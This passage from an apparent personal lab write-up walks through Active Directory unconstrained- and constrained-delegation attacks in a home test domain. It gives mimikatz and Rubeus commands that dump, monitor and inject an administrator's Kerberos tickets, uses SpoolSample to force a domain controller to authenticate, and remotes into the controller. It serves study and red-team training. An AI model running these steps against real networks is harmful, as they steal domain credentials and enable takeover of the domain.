listener&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run on the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 1: Enter-PSSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 2: WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm quickconfig # Ensure the WinRM service is enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Test-WSMan -ComputerName WIN10 # Test the connection&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;p&gt;At this point, the domain administrator&amp;rsquo;s TGT is cached on &lt;code&gt;win10&lt;/code&gt;, and we can dump it with mimikatz.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then use ptt to inject the TGT into the current session.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\WindowsServerAD.test.local\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get the method between the horizontal rules to work. It kept failing, and I still don&amp;rsquo;t know why. The error said that the system could not contact a domain controller to service the authentication request and to try again later. So it looks like I can&amp;rsquo;t use mimikatz here.&lt;/p&gt;&#10;&lt;h5 id="rubeus"&gt;&lt;a href="#rubeus" class="header-anchor"&gt;&lt;/a&gt;Rubeus&#10;&lt;/h5&gt;&lt;p&gt;This worked fine for me.&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/GhostPack/Rubeus/releases/tag/1.6.4" target="_blank" rel="noopener"&#10; &gt;https://github.com/GhostPack/Rubeus/releases/tag/1.6.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;You need to compile it yourself. Install vs, open the sln file, and build the solution.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I compiled it already. The commands below are the smoothest workflow I found.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export the obtained ticket to ticket.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap &amp;gt;&amp;gt; ticket.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If successful, the text file will contain Base64-encoded data; import the ticket directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe ptt /ticket:[BASE64_ENCODED_TICKET]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Here is why I did not use the other commands. This is only for reference; there is no need to test it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is supposed to import the ticket directly, but it did not work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /targetuser:administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# In practice, the two commands above behaved the same; /ptt did not appear to work&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We actually have the Base64-encoded ticket now, but copying it is painful because all the spaces and line breaks need to be removed. Saving it to a file is much easier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is very easy to copy. That is why the working command above writes it to a file before copying it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Next, write the Base64 data to admin.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import it with Mimikatz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::purge # Clear existing tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt admin.kirbi # Import the new ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unfortunately, the import failed immediately with an error&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;So the working flow I gave at the start is probably the best option. Maybe my windows server 2022 version is too new, or perhaps my mimikatz version is too old. Either way, at least there is one method that works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName WindowsServerAD&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We still use the &lt;code&gt;WinRM&lt;/code&gt; service to connect back to the domain controller.&lt;/p&gt;&#10;&lt;h4 id="unconstrained-delegation--the-spooler-service"&gt;&lt;a href="#unconstrained-delegation--the-spooler-service" class="header-anchor"&gt;&lt;/a&gt;Unconstrained Delegation + the Spooler Service&#10;&lt;/h4&gt;&lt;p&gt;After reading through this, it feels a bit like NTLM relay, though it is not quite the same. At least both techniques use the spooler service to trigger authentication.&lt;/p&gt;&#10;&lt;p&gt;Plain unconstrained delegation requires an administrator to connect voluntarily, which makes it rather awkward to use in a real engagement.&lt;/p&gt;&#10;&lt;p&gt;Combining unconstrained delegation with the Spooler service lets us force a specified host to connect. This scenario was presented by &lt;code&gt;tifkin_&lt;/code&gt;, &lt;code&gt;enigma0x3&lt;/code&gt;, and &lt;code&gt;harmj0y&lt;/code&gt; at &lt;code&gt;DerbyCon 2018&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;Presentation slides: &lt;a class="link" href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory" target="_blank" rel="noopener"&#10; &gt;link&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;How it works: it abuses an old but enabled-by-default method in the Windows Print System Remote Protocol &lt;code&gt;（MS-RPRN）&lt;/code&gt;. A domain user can call the MS-RPRN &lt;code&gt;RpcRemoteFindFirstPrinterChangeNotification（Ex）&lt;/code&gt; method to force any computer running the &lt;code&gt;Spooler&lt;/code&gt; service to authenticate over &lt;code&gt;Kerberos&lt;/code&gt; or &lt;code&gt;NTLM&lt;/code&gt; to a target chosen by the attacker.&lt;/p&gt;&#10;&lt;p&gt;The request flow looks like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Image source: &lt;a class="link" href="http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/" target="_blank" rel="noopener"&#10; &gt;http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The &lt;code&gt;Print Spooler&lt;/code&gt; service runs automatically by default.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite is access to a domain-joined machine whose machine account has unconstrained delegation enabled.&lt;/p&gt;&#10;&lt;p&gt;My environment is unchanged from the one above.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;tifkin_&lt;/code&gt; open-sourced the POC on GitHub: &lt;a class="link" href="https://github.com/leechristensen/SpoolSample" target="_blank" rel="noopener"&#10; &gt;https://github.com/leechristensen/SpoolSample&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I tried compiling it several times without success. It seems to be a small PowerShell issue.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not solve that for now, but I found a project with precompiled binaries.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/jtmpu/PrecompiledBinaries" target="_blank" rel="noopener"&#10; &gt;https://github.com/jtmpu/PrecompiledBinaries&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Run it in the virtual machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specify the domain controller and local host; any names will work if DNS resolves them&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SpoolSample.exe WindowsServerAD WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SpoolSample.exe WindowsServerAD.test.local WIN10.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start monitoring for tickets; the command above monitors the user, while this one monitors the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. I won&amp;rsquo;t reconnect to the domain controller here because the process is identical to the one above, and I still cannot use mimikatz. I&amp;rsquo;ll leave it at that.&lt;/p&gt;&#10;&lt;h4 id="exploiting-constrained-delegation"&gt;&lt;a href="#exploiting-constrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Exploiting Constrained Delegation&#10;&lt;/h4&gt;&lt;h5 id="overview"&gt;&lt;a href="#overview" class="header-anchor"&gt;&lt;/a&gt;Overview&#10;&lt;/h5&gt;&lt;p&gt;Because unconstrained delegation is insecure, Microsoft introduced constrained delegation in &lt;code&gt;windows server 2003&lt;/code&gt;, extending the Kerberos protocol with &lt;code&gt;S4U&lt;/code&gt;. &lt;code&gt;S4U&lt;/code&gt; supports two subprotocols: &lt;code&gt;Service for User to Self (S4U2Self)&lt;/code&gt; and &lt;code&gt;Service for User to Proxy (S4U2proxy)&lt;/code&gt;. Both extensions let a service request tickets from the KDC on behalf of a user. &lt;code&gt;S4U2self&lt;/code&gt; can request a Kerberos service ticket (ST) to itself on its own behalf, while &lt;code&gt;S4U2proxy&lt;/code&gt; can request an ST to another service on behalf of a user. Constrained delegation limits the scope of the &lt;code&gt;S4U2proxy&lt;/code&gt; extension.&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;S4U2Self&lt;/code&gt; and &lt;code&gt;S4U2proxy&lt;/code&gt; request flow (diagram from the Microsoft manual):&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Steps 1–4 show the &lt;code&gt;S4U2Self&lt;/code&gt; request flow, while steps 5–10 show the &lt;code&gt;S4U2proxy&lt;/code&gt; request flow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here is the request flow in words:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. The user sends a request to service1. The user is authenticated, but service1 does not have the user&amp;#39;s authorization data. This usually occurs when authentication uses a method other than Kerberos.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. The S4U2self extension requests ST1 from the KDC for access to service1 on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. The KDC returns ST1 to Service1 for the user to authenticate to Service1. ST1 may contain the user&amp;#39;s authorization data.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. service1 can use the authorization data in the ST to fulfill the user&amp;#39;s request and then respond to the user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Note: Although S4U2self provides service1 with information about the user, it does not allow service1 to request other services on the user&amp;#39;s behalf. This is where S4U2proxy is used.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. The user sends a request to service1, which needs to access a resource on service2 as the user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. service1 requests ST2 from the KDC for the user to access service2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7. If the request contains a PAC, the KDC validates it by checking its signature data. If the PAC is valid or absent, the KDC returns ST2 to service1, but the client identity stored in ST2&amp;#39;s cname and crealm fields is the user, not service1.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8. service1 uses ST2 to send a request to service2 on the user&amp;#39;s behalf, indicating that the KDC authenticated the user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9. service2 responds to the request from step 8.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;10. service1 responds to the user&amp;#39;s request from step 5.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="procedure"&gt;&lt;a href="#procedure" class="header-anchor"&gt;&lt;/a&gt;Procedure&#10;&lt;/h5&gt;&lt;p&gt;Environment:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain: &lt;code&gt;test.local&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain controller: windows server 2022, hostname: &lt;code&gt;WindowsServerAD&lt;/code&gt;, IP: &lt;code&gt;192.168.0.110&lt;/code&gt;, user: &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain-joined host: windows 10, hostname: &lt;code&gt;win10&lt;/code&gt;, IP: &lt;code&gt;192.168.0.104&lt;/code&gt;, user: &lt;code&gt;jerry&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Create a service account:&lt;/p&gt;&#10;&lt;p&gt;I already covered this above, but exploiting it there was a bit of a hassle, so I skipped it. I&amp;rsquo;ll include it again here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Second SharePoint service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-ADUser `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Name &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -SamAccountName &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -UserPrincipalName &amp;#34;svc_sharepoint@test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Path &amp;#34;CN=Users,DC=test,DC=local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Enabled $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -PasswordNeverExpires $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ServicePrincipalNames &amp;#34;HTTP/sharepoint.test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Description &amp;#34;SharePoint Service Account&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 